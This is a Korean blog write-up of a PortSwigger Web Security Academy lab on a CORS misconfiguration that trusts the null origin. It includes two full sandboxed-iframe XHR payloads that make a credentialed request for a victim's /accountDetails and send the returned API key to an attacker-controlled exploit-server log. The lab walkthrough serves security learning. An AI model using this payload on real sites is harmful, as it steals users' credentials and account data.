티스토리 뷰
이전 글
실습 요구사항
Lab: CORS vulnerability with trusted null origin
https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack
환경 정보
🌐 요청
sandboxing된 iframe을 이용해 Origin이 null 취급되는 XHR 요청 서버
🌍 응답
개발 디버깅의 편의를 위해 응답 헤더 Access-Control-Allow-Origin이 null인 웹 서버
사전정보
없음
추론과정 및 결과
과정 1
이전 실습 (1)에서 한 번 해보니 그래도 시도가 가볍다. (https://likethefirst.tistory.com/entry/3-2-%EC%B7%A8%EC%95%BD%ED%95%9C-CORS-%EC%9C%A0%ED%98%95-%EC%8B%A4%EC%8A%B5-2-ACAO-Reflection)
똑같이 최초 /login의 패킷을 보면 Origin이 Exploit 사이트 그대로로 나온다.
과정 2
Request & Response
/accountDetails로 요청 시 동일하게 apikey가 JSON 데이터로 응답된다.
역시나 XHR 요청을 시도할 경로는 이 곳이 된다.
Header Manipulation
❌ Origin을 이전처럼 attacker의 아무 도메인이라 가정하고 변조해보면,
ACAO 헤더 응답이 오지 않는다.
지금은 XHR을 통한 요청이 아닌 프록시를 통한 확인 과정이기에 응답이 오는 것이지,
실제 exploit이었으면 XHR에 대한 응답은 받을 수 없다.
⭕ Origin을 null로 변조해보면 ACAO도 null로 돌아온다.
Origin이 null이 되는 환경에서의 공격이라면 우회할 수 있다는 의미이며,
대표적으로 알려진 sandbox화된 iframe 태그를 이용해서 exploit 해본다.
1차 Exploit
victim의 접속 경로 : https://0a27000a04e268a682a76f0c00b40026.web-security-academy.net/
attacker의 서버 : https://exploit-0ae600b004be68fa82ed6ec301ce0082.exploit-server.net/
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','0a27000a04e268a682a76f0c00b40026.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>"></iframe>
victim 로그인 상태에서 attacker 서버에 접속 시 apikey 정보를 요청(/accountDetails)하도록 한다.
요청 후, location="/log?key={}"로 attacker의 서버 /log 경로에
apikey 정보 요청에 대한 응답을 보내도록 코드를 작성하고 'Deliver exploit to victim'을 클릭한다.
Problem
victim한테 보냈더니 내가 지정한 /log로 locate도 하지 않고 XHR open 단계에서 404가 일어났다.
가라는 대로 갔는데 그게 어디임? 이라는 뜻이다..
Solution
이것은 iframe의 sandbox 속성 때문에 상대 경로 자체를 인지하지 못하기 때문이라 한다.
경로를 절대경로로 명시하고 다시 시도해본다.
sandbox된 iframe에서 fetch 요청을 보낼 때 location을 절대 경로(absolute path)로 명시해야 하는 이유는, sandbox된 iframe이 독립적으로 리소스를 찾을 수 없기 때문입니다.
일반적으로 브라우저는 상대 경로(relative path)를 사용하여 리소스를 찾습니다. 하지만 sandbox된 iframe은 보안상의 이유로 독립적인 환경에서 실행되며, 부모 페이지와의 상대적인 위치나 부모 페이지가 제공하는 기본 경로를 공유하지 않습니다. 따라서 sandbox된 iframe은 자체적으로 상대 경로를 해석할 수 없습니다.
이에 따라 sandbox된 iframe에서 fetch 요청을 보낼 때는 리소스의 절대 경로를 명시해야 합니다. 이렇게 하면 브라우저는 요청을 보낼 때 절대 경로를 기준으로 해당 리소스를 찾게 되며, 이를 통해 sandbox된 iframe이 독립적으로 리소스를 찾을 수 있게 됩니다.
2차 Exploit
1차 Exploit 이후 알게된 내용 기반으로,
절대경로에 있어서도 일부 누락된 URI가 있음을 알고 수정하였다.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a5900e903e636b081637f09001f0068.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send(null);
function reqListener() {
location='https://exploit-0a17000503a9360f813c7e3301ee00e0.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
실행결과
Access log 기능(/log)으로 가보면, attacker IP가 아닌 다른 IP로 /log?key={}에 대한 GET 요청이 있다.
URL decode하여 username이 administrator인 victim의 apikey를 제출한다.
Solved 딱지를 받았다.
🌞 Solved
'WEB&APP 진단 > CORS' 카테고리의 다른 글
3-4. 취약한 CORS 유형 실습 (4) - ACAO http subdomain 허용 (0) | 2024.03.04 |
---|---|
3-2. 취약한 CORS 유형 실습 (2) - ACAO Reflection (0) | 2024.02.28 |
3-1. 취약한 CORS 유형 실습 (1) - ACAO 와일드카드 설정 (1) | 2024.02.28 |
2-3. 취약한 CORS 유형 (3) - NULL 출처 허용 (0) | 2024.02.20 |
2-2. 취약한 CORS 유형 (2) - 잘못 설정된 정규표현식(regex misconfiguration) (0) | 2024.02.18 |
- Thanks for comming.
- 오늘은
- 명이 방문했어요
- 어제는
- 명이 방문했어요